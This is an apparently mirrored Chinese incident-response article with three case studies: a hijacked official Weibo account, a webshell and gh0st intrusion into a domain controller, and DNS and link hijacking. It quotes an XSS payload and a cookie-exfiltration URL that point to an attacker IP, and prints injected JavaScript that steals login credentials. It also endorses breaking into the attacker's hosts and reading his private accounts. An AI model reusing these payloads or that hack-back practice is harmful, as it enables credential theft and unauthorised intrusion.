“企業應急響應和反滲透”之真實案例分析

wyzsk發表於2020-08-19
作者： PiaCa · 2015/08/20 14:40

峰會上講過的議題，整理成文章，以供大家批評指正。

對於企業應急響應，我想只要從事安全工作的同學都有接觸，我也一樣，在甲方乙方工作的這幾年，處理過不少應急響應的事件，但是每個人都會有自己做事的方法，在這裡我主要分享一下我對應急響應的理解以及對碰到的一些案例。

0x00 什麼時候做應急響應？

應急響應，估計最近幾年聽到這個詞更多是因為各大甲方公司開始建設和運營自己的應急響應平臺，也就是 xSRC。看起來對報告到這些地方的漏洞進行處理就已經成為企業應急響應的主要工作，但是以我之前在甲方親自參與建設應急響應平臺和去其他企業應急響應平臺提交漏洞的經驗來看，能真正把平臺上的漏洞當時應急響應事件去處理的寥寥無幾，更多的只是：接收->處理這種簡單重複的流水線工作。因為他們會覺得報告到這些地方的漏洞它的風險是可控的。

我理解的應急響應是對突發的未知的安全事件進行應急響應處理。這種情況一般都是“被黑”了。“被黑”包括很多種：伺服器被入侵，業務出現蠕蟲事件，使用者以及公司員工被釣魚攻擊，業務被 DDoS 攻擊，核心業務出現DNS、鏈路劫持攻擊等等等等。

0x01 為什麼做應急響應？

我在峰會上說是被逼的，雖然只是開個玩笑，但是也能夠反映出做應急響應是一件苦差事，有的時候要做到 7*24 小時響應，我覺得是沒人喜歡這麼一件苦差事的，但是作為安全人員這是我們的職責。

那說到底我們為什麼做應急響應呢，我覺得有以下幾個因素：

  1. 保障業務
  2. 還原攻擊
  3. 明確意圖
  4. 解決方案
  5. 查漏補缺
  6. 司法途徑

對於甲方的企業來說業務永遠是第一位的，沒有業務何談安全，那麼我們做應急響應首先就是要保障業務能夠正常執行，其次是還原攻擊場景，攻擊者是透過什麼途徑進行的攻擊，業務中存在什麼樣的漏洞，他的意圖是什麼？竊取資料？炫耀技術？當我們瞭解到前面的之後就需要提出解決方案，修復漏洞？還是加強訪問控制？增添監控手段？等等，我們把當前的問題解決掉之後，我們還需要查漏補缺，來解決業務中同樣的漏洞？最後就是需不需要司法的介入。

0x02 怎麼做應急響應？

具體怎麼做應急響應，我之前根據自己做應急響應的經驗總結幾點：

  1. 確定攻擊時間
  2. 查詢攻擊線索
  3. 梳理攻擊流程
  4. 實施解決方案
  5. 定位攻擊者

確定攻擊時間能夠幫助我們縮小應急響應的範圍，有助於我們提高效率，查詢攻擊線索，能夠讓我們知道攻擊者都做了什麼事情，梳理攻擊流程則是還原整個攻擊場景，實施解決方案就是修復安全漏洞，切斷攻擊途徑，最後就是定位攻擊人，則是取證。

ps：定位攻擊者，我覺得羅卡定律說的挺好的：凡有接觸，必留痕跡。

0x03 為什麼做反滲透？

一方面我們可以把被動的局面轉變為主動的局面，在這種主動的局面下我們能夠了解到攻擊者都對我們做了什麼事情，做到什麼程度，他下一步的目標會是什麼？最關鍵的我們能夠知道攻擊者是誰。

那麼具體怎麼做呢？就要用攻擊者的方法反擊攻擊者。說起來簡單，做起來可能就會發現很難，但是我們可以藉助我們自身的優勢，透過業務資料交叉對比來對攻擊者瞭解更多，甚至可以在攻擊者的後門裡面加上攻擊程式碼等。

0x04 案例之官微帳號被盜

這是第一個案例，是官方微博帳號被盜的案例。首先看下面兩張圖片：

enter image description here

enter image description here

某天我們的一個官方帳號突發連續發兩條不正常的微博內容，看到第一條的時候還以為是工作人員小手一抖，test 到手，以為是工作人員的誤操作，但是看到第二條微博的時候就已經能夠判斷帳號出了問題，具體是什麼問題只能透過後面的分析才知道。

但是肯定的是這不是工作人員進行的操作，一方面在這種重要帳號的操作上有一些制度，其次是釋出的內容也比較明顯，根據釋出的時間透過後臺系統分析，該帳號有透過 cookie 在非公司 IP 進行過登入，但是我們的 cookie 是透過 httponly 進行保護的，how？

接下來鎖定那個時間段操作過官方微博帳號同事的工作電腦，在其使用的火狐瀏覽器中發現有下面連續的幾條訪問記錄：

==================================================
URL               : http://t.cn/zW*bUQ
Last Visit Date   : 2012-7-16 19:22:27
==================================================

==================================================
URL               : http://50.116.13.242/index.php
Last Visit Date   : 2012-7-16 19:22:28
Referrer          : http://t.cn/zW*bUQ
==================================================

==================================================
URL               : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
Last Visit Date   : 2012-7-16 19:22:28
Referrer          : http://50.116.13.242/index.php
Title             : player.swf (application/x-shockwave-flash 物件)
==================================================

==================================================
URL               : http://50.116.13.242/e.php?opener=0&cookie=ULV%3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma%3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3Dweibo.com%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/breakingnews%3B%20vjuids%3Ddae3c1e13.1369ca9b037.0.1a9eb5f46e6ac8%3B%20vjlast%3D1334068228.1341096989.11%3B%20U[email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected][email protected]%25252BkEMwhvhY4p3xR0Ki5ja94%25253D%2
Last Visit Date   : 2012-7-16 19:22:31
Referrer          : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
==================================================

對上面的訪問記錄我想我不需要做太多的解釋。在官方微博帳號的私信裡面有 http://t.cn/zW*bUQ 的私信記錄。

到這裡就已經能夠還原整個攻擊場景了

  1. 工作人員收到一條私信，並且開啟了
  2. 私信連結是一個 xss 漏洞的連結
  3. 攻擊程式碼利用另外一個業務的 apache httponly cookie 洩露漏洞竊取到 cookie

事後我們修復了這次攻擊中的漏洞，同時修復了業務中同類的安全漏洞，同時加強了員工安全意識，並且增加了相應的帳號安全策略。

最後我們透過後臺的 IP 和郵箱等資料定位到了攻擊者，在整個攻擊中也並沒有惡意，他也把相關的漏洞和攻擊過程提交到烏雲漏洞報告平臺，大家可以去主站找找這個漏洞，我這裡就不貼相關連結了。

0x05 案例之 500 錯誤日誌引發的血案

首先看下圖

enter image description here

一天 QA 發來郵件詢問一個比較異常的事情，某測試業務出現多條狀態碼為 500 的日誌，QA 懷疑是有駭客攻擊，我們開始介入進行分析。

500 錯誤代表檔案真實存在過並且被人訪問執行過，但是現在檔案已經被刪除了，透過檔名可以判斷並非是業務需要的檔案，被黑的可能性比較大，然後找來 TOMCAT 和前端 Nginx 日誌檢視的確被上傳了 webshell。

enter image description here

根據攻擊者 IP 和時間等線索透過分析 nginx 和 tomcat 的日誌可以確定攻擊者是透過 tomcat 的管理後臺上傳的 webshell，並且透過 webshell 做了許多操作

enter image description here

但是tomcat 帳號密碼並非弱密碼，how？我們接下來對全網的 tomcat 進行了排查，發現在其中一臺內網伺服器存在 tomcat 弱口令，並且帳號配置檔案中含有攻擊者使用的帳號和密碼，只是這臺伺服器較早之前下線了公網 IP，只保留內網 IP，並且透過分析這臺伺服器的日誌，能夠判斷攻擊者之前就已經透過弱口令拿到了伺服器許可權，並且收集了伺服器上的使用者名稱和密碼等資訊。

我們想看看攻擊者到底想幹什麼，對之前收集的攻擊者 IP 進行反滲透，用“駭客”的方法拿到香港，廊坊多臺攻擊者肉雞許可權，肉雞上發現了大量駭客工具和掃描日誌，在其中一臺肉雞上發現我們內網仍有伺服器被控制。

下面兩張圖片可以看到攻擊者透過 lcx 中轉了內網的反彈 shell

enter image description here

enter image description here

那麼到目前為止我們做了哪些事情呢？

  1. 清理後門
  2. 清理全網 tomcat
  3. 梳理全網 web 目錄檔案
  4. 修改業務相關帳號密碼
  5. 修改業務關鍵程式碼
  6. 加強 IDC 出口策略
  7. 部署 snort

做了好多事情？可是事實上呢？事情並沒有我們想的那麼簡單。

之前的安全事件剛過不久，IT 人員反饋域控伺服器異常，自動重啟，非常異常。登入域控進行排查原因，發現域控被植入了 gh0st 後門。

enter image description here

域控被控制，那域控下面的伺服器的安全性就毫無保障，繼續對辦公網所有的 windows 伺服器排查，發現多臺 Windows 伺服器被植入後門，攻擊的方法是透過域控管理員帳號密碼利用 at 方式新增計劃任務。

能夠知道攻擊者是如何入侵的域控伺服器比較關鍵，對域控伺服器的日誌進行分析發現下面可疑的日誌：

2011-11-10,14:03:47,Security,稽核成功,登入/登出 ,540,*\*,PDC,”成功的網路登入:
使用者名稱:    *.ad
域:      *
登入 ID:      (0x0,0x1114E11)
登入型別:   3
登入過程:   NtLmSsp 
身份驗證資料包:    NTLM
工作站名:   CC-TEST-V2
登入 GUID:    -
呼叫方使用者名稱: -
呼叫方域:   -
呼叫方登入 ID:   -
呼叫方程式 ID: -
傳遞服務: -
源網路地址:  192.168.100.81
源埠:    0

2011-11-10,3:13:38,Security,稽核失敗,帳戶登入 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試  登入的使用者:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登入帳戶:   QM-*$
源工作站:   CC-TEST-V2
錯誤程式碼:   0xC000006A
"
2011-11-10,3:13:38,Security,稽核失敗,帳戶登入 ,680,NT AUTHORITY\SYSTEM,PDC,"嘗試  登入的使用者:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
登入帳戶:   QM-*$
源工作站:   CC-TEST-V2
錯誤程式碼:   0xC000006A

結合之前的資訊能夠鎖定 192.168.100.81 是攻擊源，遂對這臺伺服器進行確認，結果有點令人吃驚：

這是一臺虛擬機器，執行在一臺普通的 PC 機上，這臺 PC 機就放在業務部門同事的腳底下，這臺虛擬機器本身啟用了 3389，存在弱口令，我們之前在對內網安全檢查時，這臺虛擬機器處於關機狀態。由於這臺虛擬機器上面跑的有測試業務，域控管理員曾經登入過。

綜合我們之前得到的資訊可以確定這臺虛擬機器是攻擊者入侵我們辦公網的第一臺伺服器，透過把這個虛擬機器作為跳板攻擊辦公網其他伺服器，至於這臺虛擬機器是如何被入侵的，我們後面也確定是因為上次的攻擊事件，攻擊者透過 IDC 進入到的辦公網。

我們又做了什麼？

  1. 排查所有 windows 伺服器
  2. 對之前確定被入侵的伺服器重灌，包括域控
  3. snort 上加了 gh0st 的特徵

snort 加上 gh0st 的特徵後不久我們就發現我們辦公網還有伺服器被控制

enter image description here

對這臺伺服器進行清理後，我們仍然沒有放棄對攻擊者的反滲透，這次我們發現攻擊者還有美國的 IP，對其滲透，最終透過 c 斷進行 cain 嗅探到 3389 的密碼。

登入到這臺美國 IP 的伺服器後，發現上面執行著 gh0st 的控制端，我們內網仍然有一臺伺服器處於上線狀態。

enter image description here

其實到這裡這次事件就能告一段落了，關於攻擊者我們在這臺美國的伺服器上發現了攻擊者的多個 QQ 和密碼，登入郵箱後找到了攻擊者的簡歷等私人資訊，還有就是我們之前也獲取到攻擊者在國內某安全論壇帳號。其實到這裡我們能夠確定攻擊者是誰了。

enter image description here

enter image description here

0x06 案例之永無止境的劫持

對於劫持我想大家都不陌生，我們在生活中比較常見到的就是運營商在頁面中插入廣告等程式碼，這種就是一種劫持攻擊。

回到案例本身，我們的一個業務先後出現多次多種手段的劫持攻擊，一次是 dns 劫持，把業務的域名劫持到 61.* 這個 ip 上，另外一次是鏈路劫持，替換伺服器返回給使用者的 http 響應內容，這兩次的目的都一樣就是在登入口新增 js 程式碼，用於竊取使用者的使用者名稱和明文密碼。我們另外一個業務也遭受鏈路劫持，直接替換客戶投放的廣告程式碼，給業務造成很大的經濟損失。

下面兩個圖是我們業務監控系統和基調的截圖，上面的圖可以很明顯看到在 9:30 使用者登入成功數明顯下降，持續不到一個小時，下圖是全國部分地區基調的資料，可以看到域名被明顯劫持到 61 這個 ip，這是一次典型的 DNS 攻擊。

enter image description here

enter image description here

頁面中被插入的攻擊核心程式碼

#!js
//獲取使用者名稱和密碼
function ffCheck() {
    try {
        try {
            var u = null != f ? f.idInput.value : document.getElementById("idInput").value;
        } catch (e) {
            var u = (document.getElementById("idInput").innerHTML).replace(/\s/g, "");
        }
        var p = null != f ? f.pwdInput.value : document.getElementById("pwdInput").value;
        if (u.indexOf("@") == -1) u += "@xxx.com";
        try {
            if (u.indexOf("@") == -1) u = u + getdomain();
        } catch (e) {}
        sendurl("/abc", u, p, "coremail");
    } catch (e) {}
    return fOnSubmit();
}

透過 ajax 傳送出去
function sendurl(uri, u, p, i) {
xmlHttp = GetXmlHttpObject();
if (xmlHttp == null) {
    return;
}
param = "user=" + u + "&pass=" + p + "&icp=" + i;
xmlHttp.onreadystatechange = stateChanged;
try {
    xmlHttp.open("POST", uri + "?t=" + (new Date()).valueOf(), true);
} catch (e) {}
xmlHttp.setRequestHeader("If-Modified-Since", "0");
xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xmlHttp.send(param);
}

接下來看下面兩張圖片

enter image description here

enter image description here

這是一次典型的鏈路劫持攻擊，透過 ttl 就能夠判斷，攻擊的結果和前面提到的 dns 劫持攻擊類似，插入惡意 js 程式碼來獲取使用者的使用者名稱和密碼。

對於劫持攻擊的處理過程，首先是判斷是什麼攻擊，對於鏈路劫持目前的鏈路劫持好像大部分都是旁路的攻擊方式，就可以透過 ttl 來定位，預設的 ttl 值很好判斷，如果可以修改的 ttl 值，可以透過遞增或者遞減 ttl 的方式來判斷，dns 劫持就是判斷攻擊方式是什麼，哪些 dns 受影響，劫持的 ip 是什麼運營商，劫持後做了什麼事情。

其次是解決攻擊，一般根據劫持的情況去聯絡運營商，聯絡有關部門等，但是然並卵，有的功能投訴很有效，比如劫持廣告程式碼，有的攻擊則沒有任何作用，比如注入 js 程式碼獲取使用者名稱和密碼。

其實我們能做的畢竟有限，完善監控，當劫持發生的時候能夠第一時間獲知，甚至提醒使用者當前環境有劫持的風險，對部分業務使用 https，但是我覺得都不能根治這些問題。怎麼才能解決劫持問題，我沒有好的解決方案，在這裡我把這類案例分享出來是希望能夠和各位進一步探討。

0x07 總結

總結這裡我就不打算寫太多，我覺得有幾個大的方向作為指導：

  1. 從業務角度，保障業務肯定是應急響應的前提；
  2. 從對抗角度，知己知彼百戰不殆；
  3. 從技術角度，只有更多的瞭解攻擊才能更好的做到防禦；
本文章來源於烏雲知識庫，此映象為了方便大家學習研究，文章版權歸烏雲知識庫！

相關文章